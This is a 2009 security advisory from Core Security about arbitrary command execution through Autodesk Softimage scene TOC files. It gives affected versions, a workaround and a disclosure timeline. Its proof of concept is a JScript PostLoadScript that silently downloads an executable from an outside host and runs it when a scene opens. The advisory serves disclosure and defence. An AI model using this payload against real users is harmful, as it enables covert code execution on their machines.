Autodesk SoftImage Scene TOC - Arbitrary Command Execution

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      Core Security Technologies - CoreLabs Advisory

           http://www.coresecurity.com/corelabs/



Autodesk SoftImage Scene TOC Arbitrary Command Execution







1. *Advisory Information*



Title: Autodesk SoftImage Scene TOC Arbitrary Command Execution

Advisory Id: CORE-2009-0908

Advisory URL:

http://www.coresecurity.com/content/softimage-arbitrary-command-execution

Date published: 2009-11-23

Date of last update: 2009-11-20

Vendors contacted: Autodesk

Release mode: User release







2. *Vulnerability Information*



Class: Failure to Sanitize Data into a Different Plane [CWE-74]

Impact: Code execution

Remotely Exploitable: Yes

Locally Exploitable: No

Bugtraq ID: 36637

CVE Name: CVE-2009-3576







3. *Vulnerability Description*



Autodesk Softimage [2] is a 3D computer graphics application for

producing 3D computer graphics, 3D modeling, and computer animation.

Autodesk Softimage by default saves a .scntoc file along with the

scene content tree. The scene TOC (scene table of contents) is an

XML-based file that contains scene information. When you open a scene

file, Softimage looks for a corresponding scene TOC file and

automatically reads and applies the information it contains. Scene TOC

XML files can be modified to execute arbitrary commands without user

intervention by design. An attacker can take full control of the

machine where SoftImage is installed by sending a specially crafted

scene package and enticing the user to open it.





4. *Vulnerable packages*



   . Autodesk Softimage 7.x

   . Autodesk Softimage XSI 6.x





5. *Vendor Information, Solutions and Workarounds*



The vendor did not provide fixes or workaround information.



You can disable the default reading of SCTOC script by following these

steps:



   . Go to File > Preferences > Data Management > Files tab

   . Uncheck "Read scene TOC (Table of Contents) file on load".





6. *Credits*



This vulnerability was discovered and researched by Diego Juarez,

Fernando Arnaboldi and Federico Charosky from Core Security

Technologies during Bugweek 2009 [1].



The publication of this advisory was coordinated by Fernando Russ from

Core Security Advisories Team.





7. *Technical Description / Proof of Concept Code*



Autodesk Softimage by default saves a .scntoc file along with the

scene content tree. The scene TOC (scene table of contents) is an

XML-based file that contains scene information. When you open a scene

file, Softimage looks for a corresponding scene TOC file and

automatically reads and applies the information it contains. One of

the "benefits" of the TOC file is that you can edit it to run a script

automatically after loading a scene without user intervention by default.



As Proof of Concept we created a new project in Softimage, added some

geometry, and saved it. Sure enough, along the .scn a .scntoc was

created. We then proceeded to modify the XML like this:



/-----

      <PostLoadScript>

      <Language>JScript</Language>

      <Function></Function>

      <Script_Content>

    <![cdata[

var s=new ActiveXObject('WScript.Shell');

var o=new ActiveXObject('ADODB.Stream');

var e=s.Environment('Process');

var u='http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe';

var b=e.Item('TEMP')+'agent.exe';

var x=new ActiveXObject('Microsoft.XMLHTTP');

//x=new ActiveXObject('MSXML2.ServerXMLHTTP');

if(!x)

    exit(0);

x.open('GET',u,0);

x.send(null);

o.Type=1;

o.Mode=3;

o.Open();

o.Write(x.responseBody);

o.SaveToFile(b,2);

s.Run(b,0);

    ]] >

  </Script_Content>

  </PostLoadScript>



- -----/







8. *Report Timeline*



. 2009-08-25:

Core Security Technologies ask the Autodesk Assistance Team for a

security contact to report the vulnerability.



. 2009-09-22:

Core asks the Autodesk Assistance Team for a security contact to

report the vulnerability.



. 2009-10-09:

Core contacts CERT to obtain security contact information for Autodesk.



. 2009-10-16:

CERT acknowledges the communication.



. 2009-10-19:

CERT sends their available contact information for Autodesk.



. 2009-10-19:

Core notifies Autodesk of the vulnerabilty report and announces its

initial plan to publish the content on November 2nd, 2009. Core

requests an acknoledgement within two working days and asks whehter

the details should be sent encrypted or in plaintext.



. 2009-10-19:

Autodesk acknowledges the report and requests the information to be

provided in encrypted form.



. 2009-10-20:

Core sends draft advisory and steps to reproduce the issue.



. 2009-10-27:

Core asks Autodesk about the status of the vulnerability report sent

on October 20th, 2009.



. 2009-10-27:

Autodesk acknowledges the communication indicating that the pertinent

Product Managers have been informed and are formulating a response.



. 2009-11-06:

Core notifies Autodesk about the missed deadline of November 2nd, 2009

and reuqests an status update. Publication of CORE-2009-0908 is

re-scheduled to November 16th, 2009 and is subject to change based on

concrete feedback from Autodesk.



. 2009-11-23:

Given the lack of response from Autodesk, Core decides to publish the

advisory CORE-2009-0908 as "user release".







9. *References*



[1] The authors participated in Core Bugweek 2009 as members of the

team "Gimbal Lock N Load".

[2]

http://usa.autodesk.com/adsk/servlet/pc/index?siteID=123112&id=13571168





10. *About CoreLabs*



CoreLabs, the research center of Core Security Technologies, is

charged with anticipating the future needs and requirements for

information security technologies. We conduct our research in several

important areas of computer security including system vulnerabilities,

cyber attack planning and simulation, source code auditing, and

cryptography. Our results include problem formalization,

identification of vulnerabilities, novel solutions and prototypes for

new technologies. CoreLabs regularly publishes security advisories,

technical papers, project information and shared software tools for

public use at: http://www.coresecurity.com/corelabs.





11. *About Core Security Technologies*



Core Security Technologies develops strategic solutions that help

security-conscious organizations worldwide develop and maintain a

proactive process for securing their networks. The company's flagship

product, CORE IMPACT, is the most comprehensive product for performing

enterprise security assurance testing. CORE IMPACT evaluates network,

endpoint and end-user vulnerabilities and identifies what resources

are exposed. It enables organizations to determine if current security

investments are detecting and preventing attacks. Core Security

Technologies augments its leading technology solution with world-class

security consulting services, including penetration testing and

software security auditing. Based in Boston, MA and Buenos Aires,

Argentina, Core Security Technologies can be reached at 617-399-6980

or on the Web at http://www.coresecurity.com.





12. *Disclaimer*



The contents of this advisory are copyright (c) 2009 Core Security

Technologies and (c) 2009 CoreLabs, and may be distributed freely

provided that no fee is charged for this distribution and proper

credit is given.





13. *PGP/GPG Keys*



This advisory has been signed with the GPG key of Core Security

Technologies advisories team, which is available for download at

http://www.coresecurity.com/files/attachments/core_security_advisories.asc.





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